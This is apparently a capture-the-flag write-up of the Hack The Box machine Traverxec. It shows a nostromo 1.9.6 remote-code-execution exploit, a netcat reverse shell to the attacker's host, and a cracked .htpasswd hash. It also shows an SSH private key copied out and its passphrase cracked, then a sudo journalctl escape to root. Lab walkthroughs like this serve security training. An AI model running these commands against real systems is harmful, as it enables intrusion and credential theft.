< back

Got tired of having to sudo things so I switched to root on my kali VM

RHOST: 10.10.10.165

LHOST: xx.xx.xx.xx

Initial Enumeration

As always started off with an nmap scan

root@kali:~# nmap -sV 10.10.10.165
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-05 08:22 EST
Nmap scan report for 10.10.10.165
Host is up (0.36s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open  http    nostromo 1.9.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.02 seconds
Screenshot

Did a directory traversal scan with gobuster too but it didn't yield anything interesting.

The http server on port 80 is running nostromo which is a pretty niche little webserver I haven't actually come across before.

Getting the foothold

A quick search on exploitdb shows that version 1.9.6 is vulnerable to RCE

root@kali:~# searchsploit nostromo
-------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                            |  Path
                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)      | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution                                    | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution      | exploits/linux/remote/35466.sh
-------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Let's give the script a try (after cleaning it up a bit)

root@kali:~# cp /usr/share/exploitdb/exploits/multiple/remote/47837.py nosRCE.py
root@kali:~# vim nosRCE.py 
root@kali:~# dos2unix nosRCE.py 
root@kali:~# ./nosRCE.py 10.10.10.165 80 whoami
HTTP/1.1 200 OK
Date: Wed, 05 Feb 2020 14:34:25 GMT
Server: nostromo 1.9.6
Connection: close


www-data

Nice! We have successful remote code execution. Let's get a proper reverse shell using netcat and python.

root@kali:~# ./nosRCE.py 10.10.10.165 80 'nc -e /bin/bash xx.xx.xx.xx 8888'
root@kali:~# nc -vnlp 8888
listening on [any] 8888 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [10.10.10.165] 34600
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$ ^Z
[1]+  Stopped                 nc -vnlp 8888
root@kali:~# stty raw -echo

www-data@traverxec:/usr/bin$ ls /home
david

Seems like david is the user we need to pivot to.

Pivoting with permissions

I headed towards the nostromo config, and instantly found a .htpasswd file which ended up having a hash of david's password.

www-data@traverxec:/usr/bin$ 
www-data@traverxec:/usr/bin$ ls /var/nostromo/
conf/   htdocs/ icons/  logs/   
www-data@traverxec:/usr/bin$ ls /var/nostromo/conf/
.htpasswd    mimes        nhttpd.conf  
www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/.htpasswd 
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

The $1$ at the beginning of the hash tells us this is a md5crypt hash, and since there is another string between $ signs we know that it's hashed with a salt.

Luckily our trusty mate johntheripper is able to crack md5crypt hashes and should make quick work of this.

root@kali:~# echo '$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/' > md5hash
root@kali:~# john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt md5hash 
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (?)
1g 0:00:01:00 DONE (2020-02-05 08:54) 0.01651g/s 174705p/s 174705c/s 174705C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

I tried to ssh [email protected] hoping the same password was reused but no luck there.

Next I look a deeper look at the nostromo config.

www-data@traverxec:/usr/bin$ cat /var/nostromo/conf/nhttpd.conf 
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             [email protected]
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Looks like nostromo is serving home directories. Let's hit david's home directory up over http to see what we get.

Screenshot

So, there's files somewhere from david's home directory that we can access using nostromo, so the www-data user must have some read permissions to his home dir.

www-data@traverxec:/usr/bin$ ls -lah /home
total 12K
drwxr-xr-x  3 root  root  4.0K Oct 25 14:32 .
drwxr-xr-x 18 root  root  4.0K Oct 25 14:17 ..
drwx--x--x  5 david david 4.0K Feb  5 09:15 david
www-data@traverxec:/usr/bin$ 

Hmmmm not quite.... we have execute permissions though, so we can change directory into /home/david and start enumerating further from there.

www-data@traverxec:/usr/bin$ cd /home/david
www-data@traverxec:/home/david$ ls
ls: cannot open directory '.': Permission denied
www-data@traverxec:/home/david$ cat user.txt
cat: user.txt: Permission denied
www-data@traverxec:/home/david$ cat index.html
cat: index.html: No such file or directory
www-data@traverxec:/home/david$ cat public_www
cat: public_www: Is a directory
www-data@traverxec:/home/david$ ls public_www
index.html  protected-file-area
www-data@traverxec:/home/david$ ls -lah public_www/protected-file-area
total 16K
drwxr-xr-x 2 david david 4.0K Oct 25 17:02 .
drwxr-xr-x 3 david david 4.0K Oct 25 15:45 ..
-rw-r--r-- 1 david david   45 Oct 25 15:46 .htaccess
-rw-r--r-- 1 david david 1.9K Oct 25 17:02 backup-ssh-identity-files.tgz

Very interesting, so nostromo is setup to serve /home/david/public_www as 10.10.10.165/~david, and there's a subdirectory protected-file-area which is restricted using a .htaccess file. We can use basic HTTP auth to access this david:[email protected]/~david but there actually isn't even any need. Since we already have read acess to backup-ssh-identity-files.tgz I just copied the archive via ssh to my localhost.

www-data@traverxec:/home/david/public_www/protected-file-area$ scp backup-ssh-identity-files.tgz [email protected]:/tmp
Could not create directory '/var/www/.ssh'.
The authenticity of host 'xx.xx.xx.xx (xx.xx.xx.xx)' can't be established.
ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
[email protected]'s password: 
backup-ssh-identity-files.tgz                 100% 1915     6.1KB/s   00:00    
root@kali:~# mkdir david-ssh
root@kali:~# tar -xvf /tmp/backup-ssh-identity-files.tgz -C david-ssh
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub
root@kali:~# cat david-ssh/home/david/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
tuiBPfZy+ZPklLkOneIggoruLkVGW4k4651pwekZnjsT8IMM3jndLNSRkjxCTX3W
KzW9VFPujSQZnHM9Jho6J8O8LTzl+s6GjPpFxjo2Ar2nPwjofdQejPBeO7kXwDFU
RJUpcsAtpHAbXaJI9LFyX8IhQ8frTOOLuBMmuSEwhz9KVjw2kiLBLyKS+sUT9/V7
HHVHW47Y/EVFgrEXKu0OP8rFtYULQ+7k7nfb7fHIgKJ/6QYZe69r0AXEOtv44zIc
Y1OMGryQp5CVztcCHLyS/9GsRB0d0TtlqY2LXk+1nuYPyyZJhyngE7bP9jsp+hec
dTRqVqTnP7zI8GyKTV+KNgA0m7UWQNS+JgqvSQ9YDjZIwFlA8jxJP9HsuWWXT0ZN
6pmYZc/rNkCEl2l/oJbaJB3jP/1GWzo/q5JXA6jjyrd9xZDN5bX2E2gzdcCPd5qO
xwzna6js2kMdCxIRNVErnvSGBIBS0s/OnXpHnJTjMrkqgrPWCeLAf0xEPTgktqi1
Q2IMJqhW9LkUs48s+z72eAhl8naEfgn+fbQm5MMZ/x6BCuxSNWAFqnuj4RALjdn6
i27gesRkxxnSMZ5DmQXMrrIBuuLJ6gHgjruaCpdh5HuEHEfUFqnbJobJA3Nev54T
fzeAtR8rVJHlCuo5jmu6hitqGsjyHFJ/hSFYtbO5CmZR0hMWl1zVQ3CbNhjeIwFA
bzgSzzJdKYbGD9tyfK3z3RckVhgVDgEMFRB5HqC+yHDyRb+U5ka3LclgT1rO+2so
uDi6fXyvABX+e4E4lwJZoBtHk/NqMvDTeb9tdNOkVbTdFc2kWtz98VF9yoN82u8I
Ak/KOnp7lzHnR07dvdD61RzHkm37rvTYrUexaHJ458dHT36rfUxafe81v6l6RM8s
9CBrEp+LKAA2JrK5P20BrqFuPfWXvFtROLYepG9eHNFeN4uMsuT/55lbfn5S41/U
rGw0txYInVmeLR0RJO37b3/haSIrycak8LZzFSPUNuwqFcbxR8QJFqqLxhaMztua
4mOqrAeGFPP8DSgY3TCloRM0Hi/MzHPUIctxHV2RbYO/6TDHfz+Z26ntXPzuAgRU
/8Gzgw56EyHDaTgNtqYadXruYJ1iNDyArEAu+KvVZhYlYjhSLFfo2yRdOuGBm9AX
JPNeaxw0DX8UwGbAQyU0k49ePBFeEgQh9NEcYegCoHluaqpafxYx2c5MpY1nRg8+
XBzbLF9pcMxZiAWrs4bWUqAodXfEU6FZv7dsatTa9lwH04aj/5qxEbJuwuAuW5Lh
hORAZvbHuIxCzneqqRjS4tNRm0kF9uI5WkfK1eLMO3gXtVffO6vDD3mcTNL1pQuf
SP0GqvQ1diBixPMx+YkiimRggUwcGnd3lRBBQ2MNwWt59Rri3Z4Ai0pfb1K7TvOM
j1aQ4bQmVX8uBoqbPvW0/oQjkbCvfR4Xv6Q+cba/FnGNZxhHR8jcH80VaNS469tt
VeYniFU/TGnRKDYLQH2x0ni1tBf0wKOLERY0CbGDcquzRoWjAmTN/PV2VbEKKD/w
-----END RSA PRIVATE KEY-----

Looks to be another passphrase protected RSA key. Once again john to the rescue!

root@kali:~# /usr/share/john/ssh2john.py david-ssh/home/david/.ssh/id_rsa > david_hash
root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt david_hash 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (home/david/.ssh/id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-02-05 10:36) 0.1949g/s 2795Kp/s 2795Kc/s 2795KC/sa6_123..*7¡Vamos!
Session completed

And boom, we've got the passphrase hunter. Now to ssh in and grab the user flag.

root@kali:~# ssh -i home/david/.ssh/id_rsa [email protected]
Enter passphrase for key 'home/david/.ssh/id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Feb  5 10:15:22 2020 from 10.10.14.98
david@traverxec:~$ cat user.txt 
7db0b48469606a42cec20750d9782f3d

Woop!

GTFOBin (if your terminal is short enough)

david@traverxec:~$ sudo -l
[sudo] password for david: 
david@traverxec:~$ find /bin -perm -4000
david@traverxec:~$ find / -perm -4000 -print 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/sudo
/usr/bin/umount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn

Nothing too interesting when I enumerated for SUID binaries and I couldn't run sudo -l without a password. I took a look in the home directory (probably shoulda done that first tbh) and found some interesting user written scripts in the bin folder.

david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ ls bin
server-stats.head  server-stats.sh  test.sh

david@traverxec:~$ cat bin/server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 
david@traverxec:~$ ./bin/server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  11:12:07 up  1:59,  5 users,  load average: 1.14, 1.07, 1.00
 
Open nhttpd sockets: 20
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Wed 2020-02-05 09:12:30 EST, end at Wed 2020-02-05 11:14:16 EST. --
Feb 05 11:12:32 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:12:32 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:12:33 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:13:23 traverxec nhttpd[451]: sys_write_a: Connection reset by peer
Feb 05 11:13:23 traverxec nhttpd[451]: sys_write_a: Connection reset by peer

So it looks like we can run /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service without password, executing /usr/bin/journalctl as root. So this command should be in /etc/sudoers as NOPASSWD for user david. Took a look at GTFOBins and luckily we can escape from journalctl and privelege escalate to get a root shell!

Only caveat in this case is that I had to resize my terminal to a height of less than 5 lines since the journalctl command was limiting the output to 5 lines.

Screenshot
david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-02-05 09:12:30 EST, end at Wed 2020
Feb 05 11:23:16 traverxec su[2454]: FAILED SU (to david) www-
Feb 05 11:23:51 traverxec su[2475]: pam_unix(su:auth): authen
Feb 05 11:23:53 traverxec su[2475]: FAILED SU (to david) www-
!/bin/bash
root@traverxec:/home/david# id
uid=0(root) gid=0(root) groups=0(root)
root@traverxec:/home/david# cat /root/root.txt 
9aa36a6d76f785dfd320a478f6e0d906              

epilogue

Taking a look at the /etc/sudoers file I confirmed my suspicion.

root@traverxec:/home/david# cat /etc/sudoers
...
david   ALL=(ALL:ALL) NOPASSWD:/usr/bin/journalctl -n5 -unostromo.service
...
root@traverxec:/home/david#